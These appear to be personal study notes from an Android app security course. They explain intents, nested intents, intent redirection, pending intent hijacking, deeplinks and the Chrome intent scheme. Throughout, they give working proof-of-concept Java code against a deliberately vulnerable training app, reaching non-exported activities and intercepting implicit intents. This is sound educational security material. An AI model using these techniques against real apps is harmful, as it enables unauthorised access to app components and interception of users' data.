An Activity in android app represents a single screen in that app. If app has multiple screen fr different actions then it will have multiple activities defined.
In this manifest file we can see there are two activities. Activity which is exported is reachable by outside world. And it is a interest for an attack surface.
If export is set to false, then this activity can only be called from application itself, and not much interesting to an attacker.
My word: Intent is telling Android OS what you intent do and let android handle that intent to approprite apps/services which can handle your intent.
e.g sharing a PDF from internet. When you click on share a list of apps open which can save or share your pdf. Now these apps have registered themselves with OS as application which can handle such user actions beforehand while installing.
((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, SecondActivity.class);
startActivity(intent);
}
});
In this code on button click SecondActivity class is luanched from MainActivity internally.
But when you have to create a PoC app and interact with target app's Activity class method is lsighlty different where we have to specify package name and fuully qualified class name.
((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example.test", "com.example.test.SecondActivity"));
startActivity(intent);
}
});
//Note: for this to work SecondActivity must be exported.
Intents are carriers for inter/intra app communication which means they can carry data along with them.
Functions like getIntent, getIntExtra and such functions (read more)are good indicators that data is being received and processed by target class.
e.g here SecondActivity class expects a intent and check its value and then set text if value is 1337.
setContentView(R.layout.activity_second);
Intent intent = getIntent();
if(intent!=null){
int abc = intent.getIntExtra("hextree", -1); //-1 is default value that can be used
if(abc == 1337){
((TextView) findViewById(R.id.textView2)). setText("CONGRATS you won");
}
}
Now as an attacker we can send this expected value using putExtra() function
((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example.test", "com.example.test.SecondActivity"));
intent.putExtra("hextree", 1337); //both string name and value should match
startActivity(intent);
}
});
Intent Action
An Intent action in Android defines the type of operation or event that the intent is describing. It acts as an identifier for what the Intent is supposed to do or what behavior it should trigger.
There are built in actions like
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.example.com"));
startActivity(intent);
here action ACTION_VIEW says display the content at following URI.
These intents gets passed from one app to another with help of Android IPC and binders.
Nested Intents.
Some activities can only be started internally. So some exported activities receive some data and process some data to open another activity. It's useful when
In this code we can't just send an intent and reach success function. TO reach success function we need to send a intent which is encapsulated inside another intent which itself is encapsulated inside another intent.
Intent intent = new Intent();
Intent intent2 = new Intent();
Intent intent3 = new Intent();
intent3.putExtra("reason","back");
intent2.putExtra("return", 42);
intent2.putExtra("nextIntent",intent3);
intent.putExtra("android.intent.extra.INTENT", intent2);
intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
startActivity(intent);
We just send outermost intent to app which includes other intents in itself and are parsed and used according to application logic.
Intent Rdirection/Forwarding Attack
In the same problem code you can see if intent3 reason is nextinstead of backit takes the intent3 to launch a new activity. Now this allows us to send an intent to launch an activity which was set to exported=false in manifest file.
As we are sending intent to activity which is exported but then it extract another intent from it and use that to start another activity. This is classic example of intent redirection attack.
solution:
Intent intent = new Intent();
Intent intent2 = new Intent();
Intent intent3 = new Intent();
intent3.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
intent3.putExtra("reason","next");
intent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent2.putExtra("return", 42);
intent2.putExtra("nextIntent",intent3);
intent.putExtra("android.intent.extra.INTENT", intent2);
intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
startActivity(intent);
You can see this time we specify for intent3 to target a activity FLag6Activity .
Which also says hwo to mitigate such attack, most simple answer is dont forward intents. IF necessary sanitize and check what this intent will do and is it allowed.
Launch Modes and Tasks
By now you have seen how we are sending multiple intents one after another to target app. By default there is no guarantee on order of intents being processed by target app.
In my case most of the time intents were processed in reverse order. If you need to ensure order you can use multiple buttons to ensure each intent is sent in sequence of button click. Or you can introduce sleep method to pause execution between two intents ensuring intents are passed in order. Ok let's end the detour.
What is Launch modes and tasks.? let's answer this question with another question.
What happens when two same activities are launched. What happens when you press back button where did that activity go.
my words: Basically every activity launch adds that activity to stack and back button destroys it. But what if you want to resuse same activity which was created earlier. Read the blog you will understand.
in manifest file target app can define how it want to handle multiple launch of same activity, create new one stack, resuse older one, or bring activity on top if it exists in stack before. All of this configurable.
We can also control this behaviour with our intents.
e.g. In this code to reach success method, onNewIntent must be called.
and onCreate is only triggered when an already create activity is resued.
Now what should we do? We can tell OS to treat our secondary intent in way which do not create the new activity on stack but resuse it by setting some intent flags.
We can respond to our target application's implicit calls.
For that we need to make an exported activity. We have creates a secondactivity class which is exported, means our target app can interact with it.
<activity
android:name=".SecondActivity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME" />
<category android:name="android.intent.category.DEFAULT" /> //it is important for default functionality.
</intent-filter>
</activity>
We set intent filters to match what kind of actions we can handle i.e. io.hextree.attacksurface.ATTACK_MEwhich is exactly our target application uses to make implicit calls.
Now in SecondActivity class we can respond to for incomding intents and send results back.
Intent resultIntent = new Intent();
resultIntent.putExtra("token", 1094795585); // Add the token extra to the result
setResult(RESULT_OK, resultIntent); // Send the result back to the calling activity
finish();
Pending Intent Hijacking
What is Pending Intent?
You create a intent , wrap it in a pending intent wrapper, which means you have a intent which is going to be fulfilled by some another app. You forward that pendingintent to another app to fullfill that intent.
Receiving app recives all the permission of senders app too to execute that intent.
Since Android 11 all pending intents are by default immutable, which means reciving app can not update the original intent. We have to explicitly set mutable flag if we want to do it.
Receiving app uses send()function to fulfill the original intent action.
If receiving intent updates the intent then changes are not overwritten instead they are merged.
Pending intents are used in lots of places within Android. It allows one app to create a start activity intent and give it to another app to start the activity "in its name".
We have seen intent redirects before, and pending intents basically work exactly like that. Except that the "redirected" pending intent will run with the permission of the original app.
While this mitigates the typical intent redirect vulnerability, if we somehow get ahold of a pending intent from a victim app, it could lead to various issues.
When activity is launched it extract a pending intent from a getintent() it recived using tag "PENDING"
Using that pendingintent it modifies the received intent by putting "flag" extra in it. And usi pendingIntent.send to launch the activity defined in original pendingintent.
From our app we can do
Intent targetIntent = new Intent();
targetIntent.setClass(this, SecondActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_MUTABLE);
//it's mutable intent so our target app can modify it.
Intent sendIntent = new Intent();
sendIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity");
sendIntent.putExtra("PENDING", pendingIntent);
startActivity(sendIntent);
We send a pending intent inside a intent that launches our target app. Where pendingIntent is wrapper around a intent which will launch SecondActivity class. When pendingIntent.send is used.
In SecondActivity.classin our app we can retreive data from recived intent.
Intent receivedIntent = getIntent();
if (receivedIntent != null) {
String flag = receivedIntent.getStringExtra("flag");
Log.d("Flag22", flag);
}else{
Log.d("Flag22", "???");
}
2nd e.g.
in our target app
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
String action = intent.getAction();
if (action == null) {
Toast.makeText(this, "Sending implicit intent with the flag\nio.hextree.attacksurface.MUTATE_ME", 1).show();
Intent intent2 = new Intent("io.hextree.attacksurface.GIVE_FLAG");
intent2.setClassName(getPackageName(), Flag23Activity.class.getCanonicalName());
PendingIntent activity = PendingIntent.getActivity(getApplicationContext(), 0, intent2, 33554432);
Intent intent3 = new Intent("io.hextree.attacksurface.MUTATE_ME");
intent3.addFlags(8);
intent3.putExtra("pending_intent", activity);
this.f.addTag(intent3);
Log.i("Flag22Activity", intent3.toString());
startActivity(intent3);
return;
}
if (action.equals("io.hextree.attacksurface.GIVE_FLAG")) {
this.f.addTag(action);
if (intent.getIntExtra("code", -1) == 42) {
this.f.addTag(42);
success(this);
} else {
Toast.makeText(this, "Condition not met for flag", 0).show();
}
}
}
In our target app we can a pending intent is created and sent inside another intent with action io.hextree.attacksurface.MUTATE_ME we can export our app activity to handle such intent and modify the incoming pendingintent and add an extra value 42 ans send it back to reach success function.
We modify the incoming intent and send it back to launch FLag23Activity class. We didnt even have to setAction as it was originally set in original intent.
Deeplinks
"Some activities can also be reached by a website in the browser. This is of course a much more interesting attack model, as it doesn't require a victim to install a malicious app. These web links that result into opening an app are so called deep links." Read more:
These activities need to be marked as BROWSABLE in manifest file.
Deeplinks are handled as intent only. So receiving apps need to declare them in manifest file to let OS know they can handle such deeplinks.
Deeplinks are then extracted from data part of intent for prcoessing.
Apps registers themselves in manifest file like this
of course an another malicious app can declare same intent-filter in their manifest file then OS will give choice to user to choose which app should handle your deeplink, an if they choose wrong app then malicous app will end up with sensitive data sent in that URI.
Chrome Intent Scheme
You can launch apps directly from a web page on an Android device with an Android Intent. You can implement a user gesture to launch the app with a custom scheme called intent:
it is only supported in chrome
This intent scheme is very flexible and customizable
as you can see we can specify specfic package which should handle our intent, we can target specific class name in our package with component. We can add custom schemes with scheme=custom .
We can add extra values also as we do in any intent, as depcited in above example with S.actionto add a string and use B.flag to set boolean value.
from chrome source code, we can see following data can be added to
if (uri.startsWith("S.", i)) b.putString(key, value);
else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
else throw new URISyntaxException(uri, "unknown EXTRA type", i); if (uri.startsWith("S.", i)) b.putString(key, value);
else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
else throw new URISyntaxException(uri, "unknown EXTRA type", i);
APP Links
Using intent:// scheme we have seen that it is easy to configure only intended apps should handle your links. But it can be insecure if an app with package name is installed on system from some side channel.
There is another way to secure deeplink APP Links
you might have encountered a scenario when you open a URL in browser it directly opens in related app.
It doen through app links. using autoverify feature
What is an App Link?
An App Link is a type of deep link in Android that connects a specific URL to an app. When a user clicks a URL that matches an app link, Android can open the link directly in the app instead of showing a chooser dialog or opening the link in a web browser.
What is AutoVerify?
The autoVerify attribute is used in the AndroidManifest.xml file to enable automatic verification of the app's association with the domain. If verification is successful, the app is automatically set as the default handler for links that match the specified domain.
How AutoVerify Works
The app developer includes the autoVerify="true" attribute in the intent filter for app links.
The domain's root server hosts a assetlinks.json file, which proves the app's ownership of the domain.
Android verifies the association during app installation or update.